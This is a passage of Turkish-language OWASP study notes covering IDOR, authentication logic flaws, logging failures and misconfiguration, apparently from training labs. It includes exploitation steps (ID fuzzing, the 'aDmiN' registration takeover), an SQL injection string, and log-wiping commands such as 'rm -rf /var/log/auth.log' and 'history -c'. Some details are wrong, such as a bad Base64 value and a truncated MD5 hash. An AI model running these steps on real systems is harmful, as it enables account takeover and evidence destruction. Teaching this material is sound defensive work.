

AÇIK WEB UYGULAMALARI GÜVENLİK PROJESİ (The Open Web Application Security Project)

[Kaynak](#) - Devamındaki iki OWASP odası da dahil edilerek hazırlanmıştır.

İÇERİK

1. OWASP Top 10 2025: IAAA Konsepti ve Uygulama Güvenliğindeki Rolü
2. OWASP A01: Broken Access Control ve IDOR Zafiyetleri
3. OWASP A07: Authentication Failures (Kimlik Doğrulama Hataları)
4. OWASP A09: Security Logging and Monitoring Failures (Güvenlik Günlüğü ve İzleme Hataları)
5. OWASP AS02: Uygulama Tasarım Kusurları - Güvenlik Yapılandırma Hataları
6. User Management API: Verbose Error Message (Ayrıntılı Hata Mesajı) Zafiyet Analizi
7. OWASP AS03: Yazılım Tedarik Zinciri Zafiyetleri
8. OWASP A04 - Cryptographic Failures (Kriptografik Zafiyetler)
9. OWASP AS06: Insecure Design (Güvensiz Tasarım)
10. OWASP A05: Injection (Enjeksiyon) Zafiyetleri
11. OWASP A08: Yazılım ve Veri Bütünlüğü İhlalleri (Software or Data Integrity Failures)

OWASP Top 10 2025: IAAA Konsepti ve Uygulama Güvenliğindeki Rolü

Sistem mimarisinde ve uygulama güvenliğinde kullanıcıların ve onların sistem üzerindeki eylemlerinin nasıl doğrulandığını, yönetildiğini ve izlendiğini tanımlayan temel yapı taşı **IAAA** (Identity, Authentication, Authorisation, Accountability) çerçevesidir.

ÖNEMLİ: IAAA bağımsız bileşenlerden oluşan basit bir liste değildir; **katı bir ardışık işlem hattıdır (pipeline)**. Hiçbir seviye atlanamaz veya es geçilemez. Bir önceki adım başarılı bir şekilde tamamlanmadan, bir sonraki adıma geçilmesi mantıksal ve teknik olarak imkansızdır. Başarısız bir **Identity** beyanı, **Authentication** sürecini başlatamaz; doğrulanmamış bir kimlik için ise **Authorisation** kontrolleri yapılamaz.

IAAA Katmanlarının Teknik Analizi

Güvenlik mekanizmalarının sağlamlığını anlamak için bu dört katmanın her birinin sistemde nasıl konumlandığını ve arka planda nasıl çalıştığını derinlemesine kavramak gerekir.

1. Identity (Kimlik Beyanı)

Sistemle etkileşime girmeye çalışan bir kişiyi, servisi veya süreci temsil eden **benzersiz tanımlayıcıdır**. Bir kullanıcının e-posta adresi, **User ID'si** (Kullanıcı Kimliği), veritabanındaki

benzersiz UUID'si veya Windows sistemlerindeki **SID** (Security Identifier) değeri bu kapsama girer.

- **Mantıksal Rolü:** Sisteme "Ben kimim?" sorusunun cevabını verir. Tek başına hiçbir güvenlik veya erişim hakkı sağlamaz, sadece kimlik iddiasında bulunur.

2. Authentication (Kimlik Doğrulama)

Beyan edilen **Identity** (Kimlik) bilgisinin gerçekten o kişiye veya servise ait olup olmadığının kriptografik veya mantıksal yollarla ispatlanması sürecidir.

- **Kullanılan Mekanizmalar:** Parolalar (Passwords), **OTP** (One-Time Password - Tek Kullanımlık Şifreler, genellikle SMS veya Authenticator uygulamaları üzerinden sağlanır), **Passkeys** (Cihaz tabanlı asimetrik anahtar çiftleri) veya biyometrik doğrulama bileşenleri.
- **Arka Plandaki İşleyiş:** Sistem, kullanıcının sunduğu kanıtı (örneğin parolanın hash değerini), veritabanında daha önceden saklanan ve doğruluğu kesin olan referans değer ile karşılaştırır. Eşleşme sağlanırsa zincirin bir sonraki halkasına geçilir.

3. Authorisation (Yetkilendirme)

Kimliği başarıyla doğrulanmış (Authenticated) bir kullanıcının sistem içinde **hangi kaynaklara erişebileceğini ve hangi eylemleri gerçekleştirebileceğini** belirleyen kurallar bütünüdür.

- **Teknik Detay:** Burada genellikle **ACL** (Access Control Lists - Erişim Kontrol Listeleri) veya **RBAC** (Role-Based Access Control - Rol Tabanlı Erişim Kontrolü) devreye girer. Bir kullanıcının sisteme giriş yapabilmesi (Authentication), onun `/admin/delete_users.php` endpoint'ine (uç noktasına) istek gönderme yetkisi olduğu (Authorisation) anlamına gelmez.

4. Accountability (Hesap Verilebilirlik / İzlenebilirlik)

Sistem üzerinde kimin, neyi, ne zaman ve nereden yaptığının değiştirilemez bir şekilde kayıt altına alınması ve anormal durumlarda alarm (alerting) üretilmesi sürecidir. Siber güvenlikte bu kavram **Non-repudiation** (İnkâr Edememezlik) ilkesini sağlar.

Bir web sunucusunun arka planda oluşturduğu tipik bir **Accountability** log kaydını inceleyelim:

Kod snippet'i

```
[2026-05-01T01:09:25+03:00] [INFO] [src_ip=192.168.1.105]
[user_id=alice_admin] action="UPDATE_CONFIG" target="/etc/app/config.yaml"
status="SUCCESS"
```

Yukarıdaki Log Çıktısının Teknik Yorumu:

- [2026-05-01T01:09:25+03:00] : **Ne Zaman?** (Timestamp). Olayın tam gerçekleştiği zaman dilimi. Adli bilişim (Forensics) analizleri için kritiktir.
- [src_ip=192.168.1.105] : **Nereden?** (Source IP). İsteğin geldiği ağ adresi.
- [user_id=alice_admin] : **Kim?** (Identity). Eylemi gerçekleştiren doğrulanmış hesap.
- action="UPDATE_CONFIG" target="/etc/app/config.yaml" : **Ne Yaptı?** Uygulanan komut veya hedef alınan dosya yolu.
- status="SUCCESS" : Eylemin **Authorisation** (Yetkilendirme) aşamasından başarıyla geçtiğini ve uygulandığını gösterir. Eğer yetkisiz bir deneme olsaydı burada status="FORBIDDEN" veya HTTP 403 dönecekti ve log izleme sistemleri (Örn: SIEM) derhal bir alarm (alert) üretecekti.

OWASP Top 10:2025 ve IAAA Zafiyetlerinin Etkileri

OWASP (Open Worldwide Application Security Project), web uygulamalarındaki en kritik güvenlik risklerini listeleyen standartlar bütünüdür. 2025 listesinde vurgulanan üç ana kategori, doğrudan IAAA uygulama zincirindeki mimari hatalarla (failures) ilişkilidir.

DİKKAT: IAAA zincirindeki herhangi bir zayıflık, yıkıcı sonuçlar doğurur. Bir uygulamanın **Authentication** veya **Authorisation** katmanlarındaki mantık hataları, **Threat Actors** (Tehdit Aktörleri - Sisteme saldıran kötü niyetli kişiler/gruplar) tarafından şu iki ana hedef için istismar edilir:

1. **Yetkisiz Veri Erişimi (Data Breach):** Yatay yetki yükseltme (IDOR vb.) yöntemleriyle saldırganın, kendisiyle aynı yetki seviyesindeki diğer kullanıcıların özel verilerine erişmesi.
2. **Privilege Escalation (Yetki Yükseltme):** Saldırganın, standart bir kullanıcı hesabıyla başlayıp (Identity ve Authentication aşamalarını geçtikten sonra), zafiyetli bir **Authorisation** mekanizmasını atlatarak sistemde Administrator/Root haklarına (daha fazla yetkiye) sahip olması durumu.

OWASP A01: Broken Access Control ve IDOR Zafiyetleri

Uygulama güvenliğinde en yaygın ve en kritik zafiyetlerin başında gelen **Broken Access Control** (Kırık Erişim Kontrolü), sunucunun (backend) gelen her istekte "Bu işlemi talep eden kişinin, talep ettiği kaynağa erişim yetkisi var mı?" sorusunu sormamasından veya bu kontrolü yanlış yapılandırmasından kaynaklanır.

ÖNEMLİ: Kimlik doğrulama (Authentication) ile Yetkilendirme (Authorisation) aynı şey değildir. Sisteme başarıyla giriş yapmış olmanız (Authentication), o sistemdeki tüm verilere erişebileceğiniz (Authorisation) anlamına gelmez. Broken Access Control zafiyetleri tam olarak bu iki kavram arasındaki mantıksal kopukluktan doğar. Uygulama, istemci (client) tarafından gönderilen girdilere gereğinden fazla güvenir.

IDOR (Insecure Direct Object Reference) Kavramı ve Arka Plan Mantığı

Broken Access Control'ün sahada en sık karşılaşılan formu **IDOR** (Insecure Direct Object Reference - Güvensiz Doğrudan Nesne Başvurusu) zafiyetidir. Veritabanındaki kayıtlara, dosyalara veya sistem kaynaklarına doğrudan işaret eden tanımlayıcıların (ID'ler, dosya isimleri, veritabanı anahtarları) kullanıcı tarafından manipüle edilebilmesi durumudur.

Eğer sistem, bir kullanıcının kendi verisini çekerken kullandığı parametreyi kontrol etmeden doğrudan veritabanı sorgusuna (SQL query vb.) dahil ediyorsa, erişim kontrolü kırılmış demektir.

```
GET /api/account?id=7 HTTP/1.1
Host: target-application.com
Cookie: session_token=user_alice_123
```

Yukarıdaki HTTP isteğinde, `alice` kullanıcısı sisteme giriş yapmış (Cookie mevcut) ve kendi hesap bilgilerini `?id=7` parametresi ile talep etmektedir. Eğer saldırgan bu isteği araya girerek (proxy araçları, örn: Burp Suite) aşağıdaki gibi değiştirirse:

```
GET /api/account?id=6 HTTP/1.1
Host: target-application.com
Cookie: session_token=user_alice_123
```

DİKKAT: Bu değişikliğin ardından sunucu, `id=6` olan kullanıcının verilerini (Örn: `bob` kullanıcısı) `alice` kullanıcısına döndürüyorsa, burada kesin bir IDOR zafiyeti vardır. Sunucu "Session token Alice'e ait, ancak istenen veri Bob'un, bu işlemi reddetmeliyim" mantığını işletmemiştir. Sadece `SELECT * FROM accounts WHERE id=6` sorgusunu çalıştırıp sonucu ekrana basmıştır.

Privilege Escalation (Yetki Yükseltme) Vektörleri

Broken Access Control zafiyetleri uygulamada iki farklı yıkıcı etki yaratır:

- Horizontal Privilege Escalation (Yatay Yetki Yükseltme):** Saldırganın, kendi hesabıyla aynı yetki seviyesindeki (rolündeki) diğer kullanıcıların verilerine erişmesi veya o veriler üzerinde işlem yapmasıdır. Yukarıdaki IDOR örneğinde (`?id=7` 'den `?id=6` 'ya geçiş), saldırgan diğer bir standart kullanıcının hesabını görüntülediği için bu bir yatay yetki yükseltmedir.
- Vertical Privilege Escalation (Dikey Yetki Yükseltme):** Saldırganın, normal bir kullanıcı hesabıyla sistemde gezinirken, sadece yöneticilerin (Admin) erişebileceği sayfalara, uç noktalara (endpoints) veya fonksiyonlara erişebilmesidir. Örneğin; standart kullanıcının URL'deki `/user/profile` dizinini `/admin/dashboard` olarak değiştirdiğinde veya `role=user` parametresini `role=admin` olarak manipüle ettiğinde erişim sağlayabilmesi durumudur.

Pratik Sömürü: Milyon Dolarlık Hesabı Bulmak

Eğitim materyalinde bahsedilen görevde, hedefimiz URL'deki **accountID** değerini manipüle ederek hesap bakiyesi \$1,000,000'dan fazla olan kullanıcıyı tespit etmektir.

Saldırı senaryosunda izlenecek teknik metodoloji şu şekildedir:

1. Uygulamada standart bir oturum açılır veya sağlanan test ortamına girilir.
2. URL üzerindeki veya arka planda giden API isteklerindeki **accountID** parametresi tespit edilir (Örn: [https://example.com/balance?accountID=1001] (https://example.com/balance?accountID=1001)).
3. Erişim kontrolü eksikliğinden faydalanılarak bu ID değeri sıralı (sequential) olarak artırılır veya azaltılır (1002 , 1003 , 1004 ...).
4. Burada manuel test yerine, **Burp Suite Intruder** veya **ZAP Fuzzer** gibi araçlar kullanılarak bir sayı listesi (payload) (Örn: 1'den 1000'e kadar) sisteme otomatik olarak gönderilir (Fuzzing).
5. Dönen HTTP yanıtlarının (response) boyutları (Length) veya içerikleri analiz edilerek, \$1,000,000 bakiyeye sahip hesabın ID'si tespit edilir.

İleri Seviye Varyasyonlar: Obfuscation (Karartma) Tekniklerini Aşmak

Modern web uygulamalarında geliştiriciler IDOR zafiyetlerini önlemek yerine, veritabanı ID'lerini gizlemeye (Security through obscurity) çalışabilirler. Eğitim materyalinde bahsedilen *encoded IDs* (kodlanmış ID'ler) veya *hashed IDs* (özetli alınmış ID'ler) bu duruma örnektir.

- **Encoded IDs (Kodlanmış ID'ler):** URL'de `?id=7` yerine `?id=Nw==` görüyorsanız, bu değer büyük ihtimalle **Base64** ile kodlanmıştır. `Nw==` decode edildiğinde `7` değeri elde edilir. Saldırgan olarak bu durumu fark ettiğimizde, hedeflediğimiz ID'yi (Örn: `8`) Base64 ile encode edip (`0A==`) sisteme bu şekilde göndermeliyiz.
- **Hashed IDs (Özetli Alınmış ID'ler):** URL'de `?id=8f14e45fcee167a5a36dedd4bea2543` gibi bir değer varsa, bu muhtemelen `7` rakamının **MD5** hash'idir. Veritabanındaki nesnelere bu şekilde referans veriliyorsa, saldırgan ardışık sayıların MD5 hash'lerini önceden hesaplayarak (Rainbow table yaklaşımı) sistemi manipüle edebilir.

Mimari Çözüm (B Planı): Sistemin güvenli kabul edilebilmesi için ID'leri Base64 veya MD5 ile gizlemek yerine; tahmin edilemez, evrensel olarak benzersiz tanımlayıcılar olan **UUIDv4** (Universally Unique Identifier) formatı kullanılmalı ve en önemlisi backend tarafında mutlaka *kullanıcı-nesne sahipliği* (Authorization) kontrolü yapılmalıdır.

OWASP A07: Authentication Failures (Kimlik Doğrulama Hataları)

Uygulama güvenliğinde bir sistemin kullanıcı kimliğini güvenilir bir şekilde doğrulayamaması veya o kimliği bir oturuma (session) güvenli bir şekilde bağlayamaması (binding) durumunda

ortaya çıkan zafiyet sınıfıdır. Bu zafiyet, uygulamanın şifreleme veya veri saklama yeteneklerinden ziyade, doğrudan giriş yapma, kayıt olma veya oturum yönetimi **mantığındaki (logic) yapısal kusurlardan** kaynaklanır.

Başarılı bir istismar sonucunda tehdit aktörü, başka bir kullanıcının hesabına tam erişim sağlayabilir veya oluşturduğu sahte bir oturumu yanlış bir hesaba bağlayarak yetki gaspı yapabilir.

Temel Zafiyet Vektörleri ve Teknik Arka Planları

Kimlik doğrulama mekanizmalarının çökmesine neden olan başlıca mimari ve mantıksal hatalar şunlardır:

- **Username Enumeration (Kullanıcı Adı Tespiti/Sayımı):** Sistemin, kayıtlı olan ve olmayan kullanıcılar için giriş denemelerinde veya şifre sıfırlama ekranlarında farklı hata mesajları ("Kullanıcı bulunamadı" vs "Parola hatalı") veya farklı HTTP yanıt süreleri döndürmesidir. Bu durum, saldırganın sistemde geçerli olan kullanıcı adlarının kesin bir listesini çıkarmasına olanak tanır.
- **Rate Limit (Hız Sınırı) ve Lockout (Kilitleme) Eksikliği:** Sistemin, arka arkaya yapılan başarısız giriş denemelerini kısıtlamaması veya hesabı geçici olarak kilitlememesi durumudur. Bu eksiklik, zayıf ve tahmin edilebilir parolaların **Brute-Force** (Kaba Kuvvet) veya **Credential Stuffing** (Çalınmış kimlik bilgilerinin yığınsal olarak denenmesi) saldırılarıyla kolayca kırılmasına yol açar.
- **Insecure Session or Cookie Handling (Güvensiz Oturum ve Çerez Yönetimi):** Oturum kimliklerinin (Session ID) tahmin edilebilir olması, ağ üzerinde şifrelenmemiş (HTTP üzerinden) taşınması, çıkış yapıldıktan sonra sunucu tarafında imha edilmemesi veya JWT (JSON Web Token) gibi modern yapıların imza doğrulama adımlarının atlanmasıdır.

Kimlik Doğrulama Mantık Hataları (Logic Flaws) ve İstismar Analizi

Eğitim materyalinde karşılaştığımız senaryo, doğrudan bir **Kayıt/Giriş Akışı Mantık Hatasına (Logic Flaw in Registration/Login Flow)** dayanmaktadır.

Sistemde en yüksek yetkilere sahip olan hesabın kullanıcı adının **admin** olduğunu biliyoruz. Hedefimiz, kayıt ekranında **aDmiN** (Büyük/küçük harf manipülasyonu) kullanıcı adıyla yeni bir hesap oluşturarak sistemin kafasını karıştırmak ve orijinal **admin** hesabının oturumunu/yetkilerini ele geçirmektir.

Neden aDmiN Kullanarak admin Hesabına Erişebiliyoruz? (Arka Plan Analizi):

Bu zafiyetin temelinde genellikle **Backend Normalization (Arka Uç Veri Standartlaştırma)** eksikliği veya **Database Collation (Veritabanı Karşılaştırma Kuralları)** uyumsuzluğu yatar.

1. **Kayıt (Registration) Aşamasındaki Kontrol Zafiyeti:** Uygulama, yeni bir kullanıcı kayıt olurken veritabanında bu ismin olup olmadığını kontrol eder. Eğer uygulama kodu harf

duyarlı (case-sensitive) bir kontrol yapıyorsa, `aDmiN` ile `admin` değerlerini farklı algılar ve `aDmiN` kullanıcısının veritabanına yazılmasına (INSERT) izin verir.

2. **Oturum Açma (Login) ve Session Binding Aşamasındaki Çöküş:** Kullanıcı `aDmiN` ile giriş yaptığında, uygulama arka planda veritabanına bir sorgu gönderir. Çoğu SQL veritabanı (Örneğin, MySQL'in varsayılan `utf8_general_ci` ayarı), karakter karşılaştırmalarında **harf duyarsızdır (case-insensitive)**.

Veritabanına giden giriş sorgusu şuna benzer:

```
SELECT * FROM users WHERE username = 'aDmiN' AND password = 'Sizin_Belirlediginiz_Parola';
```

DİKKAT: Veritabanı harf duyarsız (case-insensitive) çalıştığı için, `username = 'aDmiN'` şartı veritabanındaki orijinal **admin** kaydıyla da eşleşebilir. Veya daha yaygın bir senaryoda; uygulama kayıt aşamasında harf büyüklüğünü önemsemeden (veya `toLowerCase()` fonksiyonundan geçirerek) oturum çerezini (cookie) oluşturur. Sistem oturum açıldığında "Bu kullanıcı admin'dir" diyerek orijinal yönetici hesabının ID'sini (Örn: UserID=1) oturuma bağlar (Session Binding). Sonuç olarak, kendi belirlediğimiz parolayla asıl sistem yöneticisinin profiline giriş yapmış oluruz.

Sömürü (Exploitation) Adımları

1. Hedef uygulamanın `/register` (Kayıt Ol) uç noktasına (endpoint) gidilir.
2. Kullanıcı adı olarak **aDmiN**, parola olarak sistemin kabul edeceği standart bir değer (Örn: `Password123!`) girilir.
3. Kayıt işlemi başarılı olduktan sonra `/login` uç noktasına gidilir.
4. Oluşturduğumuz **aDmiN** ve `Password123!` bilgileriyle giriş yapılır.
5. Uygulama mantık hatasına düşerek oturumumuzu orijinal **admin** hesabıyla bağlar (bind eder) ve yönetici paneline (veya hedef bayrağa) erişim sağlanır.

Plan B (Alternatif Vektörler): Eğer sistem büyük/küçük harf manipülasyonunu engellemiş olsaydı (örneğin her girdiyi kayıttan önce küçük harfe çevirseydi ve "Bu kullanıcı zaten var" hatası verseydi), bir sonraki denememiz **Trailing Space Truncation** (Sondaki boşlukların kırılması) zafiyeti olurdu. Yani kullanıcı adı olarak `admin` (sonunda bir boşluk var) girerek kaydolmayı denerdik. Birçok veritabanı boşluk karakterini kaydederken yok sayar (truncate) ve bizi yine orijinal `admin` hesabıyla eşleştirebilirdi.

İleri Seviye Konseptler ve Gelişim Yolu

Bu zafiyet türünün mantığını tam olarak kavradıktan sonra, Authentication mekanizmalarının diğer kırılma noktalarını incelemek teknik derinlik için zorunludur:

- **MFA (Multi-Factor Authentication) Bypass:** İki aşamalı doğrulamanın, doğrulama kodlarının (OTP) kaba kuvvetle kırılması (Rate limit eksikliği) veya yanıtların HTTP proxy üzerinden manipüle edilmesiyle atlatılması.

- **Token ve Cookie Manipölasyonları:** Gelişmiş uygulamalarda oturumların nasıl yönetildiğini anlamak için JWT (JSON Web Token) imza atlatma (Signature bypass) ve OAuth mantık hatalarının incelenmesi.

OWASP A09: Security Logging and Monitoring Failures (Güvenlik Günlüğü ve İzleme Hataları)

Siber güvenlikte savunma mimarisinin (Blue Team) en kritik yapı taşı görünürlüktür. Uygulamalar, güvenlik açısından kritik olayları (security-relevant events) doğru bir şekilde kaydetmediğinde (Logging) veya şüpheli durumlarda uyarı (Alerting) üretmediğinde, savunma ekipleri körleşir. Sistemde bir saldırı gerçekleşse dahi bunun tespit edilmesi, analiz edilmesi veya engellenmesi teknik olarak imkansız hale gelir.

Bu zafiyet kategorisi, IAAA (Identity, Authentication, Authorisation, Accountability) çerçevesindeki **Accountability (Hesap Verilebilirlik)** katmanının doğrudan çökmesi anlamına gelir. Bir sistemde kimin, ne zaman, nereden ve ne yaptığını kanıtlayamıyorsanız, o sistemin güvenliğinden söz edemezsiniz.

Günlükleme (Logging) Zafiyetlerinin Teknik Anatomisi

Bir uygulamanın sadece log tutuyor olması, o logların güvenlik analizi veya **Incident Response (Olay Müdahalesi - Bir siber saldırı anında veya sonrasında yapılan tespit, analiz ve kurtarma çalışmaları)** için yeterli olduğu anlamına gelmez. Sahada karşılaşılan yapısal günlükleme hataları şunlardır:

1. Eksik Kimlik Doğrulama Logları (Missing Authentication Events)

Sisteme yapılan başarılı girişler, başarısız giriş denemeleri veya şifre sıfırlama talepleri kayıt altına alınmadığında, bir tehdit aktörünün **Brute-Force (Kaba Kuvvet)** veya **Credential Stuffing (Çalınmış kimlik bilgilerinin yığınsal denenmesi)** saldırıları yaptığını tespit edemeyiz. Başarısız denemelerin loglanması, saldırının "geliyorum" dediği anı yakalamak için hayati önem taşır.

2. Belirsiz ve Yüzeysel Hata Logları (Vague Error Logs)

Uygulamanın karşılaştığı hataları yetersiz detayla kaydetmesidir. Bir **Forensics (Adli Bilişim)** analisti için logun bağlamı (context) her şeydir.

Kötü (Zafiyetli) Log Örneği:

Kod snippet'i

```
[ERROR] Database connection failed.
```

Analiz: Bu log hiçbir işe yaramaz. Hatanın ne zaman olduğu, hangi kullanıcının isteği sonucu tetiklendiği veya isteğin hangi IP'den geldiği belli değildir.

İdeal ve Eyleme Geçilebilir (Actionable) Log Örneği:

Kod snippet'i

```
[2026-05-01T14:22:10Z] [ERROR] [src_ip=192.168.1.50] [user_id=guest]  
[endpoint=/api/v1/users?id=1' OR 1=1--] Database query syntax error.  
Potential SQL Injection attempt.
```

Analiz: Bu log çıktısı kusursuzdur. Zaman damgası (Timestamp), saldırganın **IP adresi (192.168.1.50)**, etkileşime giren hesap (**guest**), hedef alınan uç nokta ve saldırganın enjekte etmeye çalıştığı payload açıkça görülmektedir. Savunma ekipleri bu logu gördüğü an IP'yi bloklayabilir.

3. Kritik Değişikliklerde Alarm Üretilmemesi (No Alerting on Privilege Changes)

Sistemde bir kullanıcının yetkisi standart seviyeden **Administrator/Root** seviyesine yükseltildiğinde (Privilege Escalation), bu durum sessiz sedasız veritabanına yazılmamalıdır. Bu tür kritik yapılandırma değişiklikleri anında **SIEM (Security Information and Event Management - Güvenlik olaylarını toplayan ve analiz eden merkezi sistem)** araçlarına iletilmeli ve SOC (Security Operations Center) analistlerine acil durum alarmı (Alert) olarak düşmelidir.

4. Kısa Saklama Süreleri (Short Retention)

Gelişmiş Sürekli Tehditler (**APT - Advanced Persistent Threats**), genellikle sistemde aylarca fark edilmeden kalır. Eğer uygulamanızın log saklama süresi (Retention policy) sadece 30 gün ise ve saldırgan sisteminize 3 ay önce sızmışsa, saldırının başlangıç noktasını (Patient Zero) ve sisteme nasıl girildiğini asla bulamazsınız.

5. Logların Saldırganlar Tarafından Manipüle Edilebilmesi (Log Tampering)

En ölümcül mimari hatalardan biridir. Uygulama logları sadece uygulamanın çalıştığı yerel sunucuda (Örn: /var/log/nginx/ veya /opt/app/logs/) tutuluyorsa ve saldırgan sunucuda komut çalıştırma yetkisi (**RCE**) elde ettiyse, yapacağı ilk iş kendi izlerini silmek olacaktır:

```
rm -rf /var/log/auth.log  
echo "" > /var/log/syslog  
history -c
```

Analiz: Saldırgan yukarıdaki komutlarla Linux sistemindeki yetkilendirme loglarını siler, sistem loglarının içeriğini boşaltır ve terminal geçmişini temizler.

DİKKAT (Mimari Çözüm): Bu durumun önüne geçmek için loglar yerel sunucuda tutulmakla kalmamalı, anlık olarak (Real-time) merkezi bir loglama sunucusuna (Log Forwarding) gönderilmelidir. Gönderilen bu merkezi depo, **Append-Only (Sadece Ekleme Yapılabilir - Silinemez ve Değiştirilemez)** formatta yapılandırılmalıdır.

Soruşturma (Investigation) Analizi ve Mantıksal Çıkarım

Eğitim materyalinde belirtilen ve saldırı altında olan bir uygulamanın loglarını incelerken arayacağımız temel örüntüler şunlardır:

- 1. Zaman Çizelgesi (Timeline) Çıkarımı:** Saldırı tam olarak ne zaman başladı?
- 2. Hedef Tespiti:** Saldırgan hangi uç noktaları (Örn: `/login` , `/admin/panel`) hedef aldı?
- 3. Başarı Durumu:** Saldırganın gönderdiği zararlı istekler sunucudan hangi HTTP durum kodlarını döndürdü? (Sürekli HTTP 401 Unauthorized dönerken aniden HTTP 200 OK veya HTTP 302 Found dönmesi, kaba kuvvet saldırısının başarılı olduğu ve saldırırganın sisteme sızdığı anlamına gelir).

ÖNEMLİ: Soruşturma esnasında kendinize sürekli şu soruyu sorun: *"Eğer bu log kaydındaki IP adresi veya Timestamp (Zaman Damgası) eksik olsaydı ne olurdu?"* Cevap basittir: Olayları birbirine bağlayamazdınız. Aynı saniyede gelen binlerce isteğin hangisinin normal bir kullanıcıya, hangisinin saldırgana ait olduğunu ayırt edemezsiniz. Olay müdahalesi bir yapboz gibidir; eksik loglar (Missing logs), yapbozun en kritik parçalarının kaybolması demektir.

OWASP AS02: Uygulama Tasarım Kusurları - Güvenlik Yapılandırma Hataları

Kavramsal Temel ve Teknik Tanım

Security Misconfigurations, bir uygulamanın kaynak kodundaki mantıksal veya yapısal hatalardan (örneğin bir SQL Injection veya Buffer Overflow) ziyade; sistemlerin, sunucuların, ağ cihazlarının veya uygulamaların **Deployment** (canlı ortama alınma/dağıtım) süreçlerinde yapılan mimari ve yönetsel hatalardır.

Güvensiz varsayılan ayarların (unsafe defaults) değiştirilmemesi, yapılandırmaların eksik bırakılması veya dışarıya kapalı olması gereken servislerin internete açık (exposed) hale getirilmesi bu zafiyet sınıfını oluşturur. Uygulama kusursuz kodlanmış olsa dahi, üzerinde koştuğu web sunucusunun veya veritabanının yanlış yapılandırılması, saldırganlara sistemde doğrudan bir arka kapı sunar.

Etki Alanı ve Kritiklik Seviyesi (Neden Önemli?)

Modern uygulamalar; mikroservisler, bulut altyapıları, üçüncü parti **API** (Application Programming Interface - Uygulama Programlama Arayüzü) entegrasyonları ve karmaşık teknoloji yığınları (complex stacks) üzerinde çalışır. Bu devasa yüzeyde yapılacak tek bir yapılandırma hatası, tüm sistemin ele geçirilmesine neden olabilir.

Küçük gibi görünen bir yapılandırma hatası, saldırgana **Initial Access** (sisteme ilk giriş noktası) sağlayabilir veya düşük yetkili bir kullanıcının sistemde yönetici haklarına erişmesini sağlayan **Privilege Escalation** (Hak Yükseltme) saldırılarına zemin hazırlayabilir. Dışarıya açık unutulmuş bir yönetici paneli (admin panel) veya yanlış yapılandırılmış bir bulut depolama alanı, sistemin geri kalanı ne kadar güvenli olursa olsun tüm verinin sızdırılmasına yol açar.

Vaka Analizi: 2017 Uber AWS S3 Veri İhlali

Bu zafiyetin yıkıcı etkisini anlamak için 2017'deki Uber veri ihlali kusursuz bir örnektir. Uber, sürücü ve yolcu bilgilerini içeren kritik yedek verilerini bir **AWS S3 Bucket** (Amazon Web Services Simple Storage Service - Bulut tabanlı nesne depolama servisi) üzerinde tutuyordu.

Ancak bu S3 Bucket'ın erişim politikaları (Access Control Lists / IAM Policies) yanlış yapılandırılmış ve "Publicly Accessible" (herkese açık) olarak ayarlanmıştı.

Teknik Arka Plan: Saldırganların herhangi bir kimlik bilgisine (credential), exploit'e veya karmaşık bir siber saldırı tekniğine ihtiyacı yoktu. Sadece S3 Bucket'ın URL'sini bilmek (veya tarama araçlarıyla tespit etmek), içindeki tüm hassas verileri doğrudan indirmek için yeterliydi. Bu olay, kodlamanın değil, "dağıtım ve yapılandırma" aşamasındaki bir hatanın devasa bir ihlale (breach) nasıl dönüşebileceğini kanıtlar.

Sık Karşılaşılan Zafiyet Vektörleri (Common Patterns)

Mimarilerde en sık rastlanan yapılandırma hataları teknik olarak şu başlıklar altında toplanır:

- **Varsayılan Kimlik Bilgileri (Default Credentials):** Donanım üreticilerinin veya yazılım geliştiricilerin sisteme tanımladığı `admin:admin`, `root:toor` gibi varsayılan parolaların canlı ortamda değiştirilmeden bırakılması. Saldırganların keşif (Enumeration) aşamasında ilk denedikleri zafiyettir.
- **Gereksiz Servislerin Açık Bırakılması:** Sadece iç ağda (localhost veya intranet) çalışması gereken veritabanı portlarının (örneğin MongoDB **27017**, MySQL **3306**) veya yönetim portlarının (SSH **22**, RDP **3389**) internete (0.0.0.0) açık bırakılması.
- **Bulut Depolama Yetkilendirme Hataları:** AWS S3, Azure Blob veya GCP (Google Cloud Platform) depolama alanlarında okuma/yazma izinlerinin (permissions) anonim kullanıcılara veya tüm internete (Any/All) açık bırakılması.
- **Kısıtlanmamış API Erişimleri:** API uç noktalarında (endpoints) **Authentication** (Kimlik Doğrulama - "Sen kimsin?") ve **Authorisation** (Yetkilendirme - "Bunu yapmaya yetkin var mı?") mekanizmalarının eksik olması.
- **Verbose Error Messages (Ayrıntılı Hata Mesajları):** Uygulamanın çöktüğünde veya hata aldığında kullanıcıya (ve potansiyel saldırgana) **Stack Trace** (yığın izlemesi - hatanın kodun hangi satırında ve hangi fonksiyonda meydana geldiğini gösteren detaylı döküm) sunması.
 - *Neden Tehlikeli?:* Bu çıktılar sistemin dosya yollarını (Directory Traversal için ipucu), veritabanı türünü ve kullanılan framework/sunucu versiyonlarını ifşa eder. Saldırgan bu versiyon bilgisiyle doğrudan bilinen zafiyetleri (CVE) araştırabilir.

- **Güncel Olmayan Sistemler:** Üzerinde bilinen zafiyetler (known vulnerabilities) bulunan eski framework'lerin, işletim sistemlerinin veya Docker container imajlarının yamanmadan (patch) kullanılması.
- **Korunmasız Yapay Zeka/Makine Öğrenimi (AI/ML) Uç Noktaları:** Modern sistemlerde AI/ML modellerine veri besleyen veya modelden sonuç alan API'lerin erişim kontrolleri olmadan dışarıya açılması (Model zehirlenmesi veya veri sızıntılarına yol açar).

Proaktif Savunma ve Sıkılaştırma Stratejileri (How To Prevent It)

ÖNEMLİ: Güvenlik yapılandırma hatalarını önlemek, tek seferlik bir işlem değil, sürekli bir yaşam döngüsüdür (Continuous Security).

1. **Hardening (Sıkılaştırma) ve Minimalizm:** Sistem canlıya alınmadan önce varsayılan yapılandırmalar mutlaka sıkılaştırılmalıdır. Sistemin çalışması için gerekmeyen tüm servisler, portlar, özellikler ve demo sayfaları (örneğin Apache/Tomcat varsayılan sayfaları) sunucudan kaldırılmalıdır. Ne kadar az bileşen varsa, saldırı yüzeyi (Attack Surface) o kadar küçüktür.
2. **Principle of Least Privilege (En Az Yetki Prensibi):** Tüm sistemlerde, kullanıcılara ve servislere sadece görevlerini yapabilmeleri için gereken minimum yetkiler verilmelidir. Bir web sunucusu veritabanına bağlanacaksa, bu bağlantı "root" veya "SA" (System Administrator) yetkileriyle değil, sadece o uygulamanın tablolarına erişebilen kısıtlı bir kullanıcı ile yapılmalıdır.
